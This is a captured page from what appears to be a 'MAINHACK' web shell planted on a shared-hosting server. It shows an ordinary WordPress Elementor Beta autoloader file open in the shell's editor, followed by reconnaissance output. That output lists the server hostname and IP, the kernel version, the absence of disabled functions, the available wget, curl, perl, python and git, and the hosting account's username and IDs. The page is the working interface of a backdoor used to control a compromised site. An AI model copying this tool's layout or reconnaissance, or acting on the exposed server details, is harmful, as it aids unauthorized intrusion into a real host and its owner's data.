[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: autoloader.php
<?php namespace ElementorBeta; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Autoloader { /** * Run autoloader. */ public static function run() { spl_autoload_register( [ __CLASS__, 'autoload' ] ); } /** * Autoload. * * For a given class, check if it exist and load it. * * @param $class */ private static function autoload( $class ) { if ( ! class_exists( $class ) ) { self::load_class( $class ); } } /** * Load class. * * For a given class name, require the class file. * * @param $relative_class_name */ private static function load_class( $relative_class_name ) { $relative_class_name = str_replace( ELEMENTOR_BETA_NAMESPACE . '\\', '', $relative_class_name ); $filename = strtolower( preg_replace( [ '/([a-z])([A-Z])/', '/_/', '/\\\/' ], [ '$1-$2', '-', DIRECTORY_SEPARATOR ], $relative_class_name ) ); $filename = ELEMENTOR_BETA_DIR . $filename . '.php'; if ( is_readable( $filename ) ) { require_once $filename; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056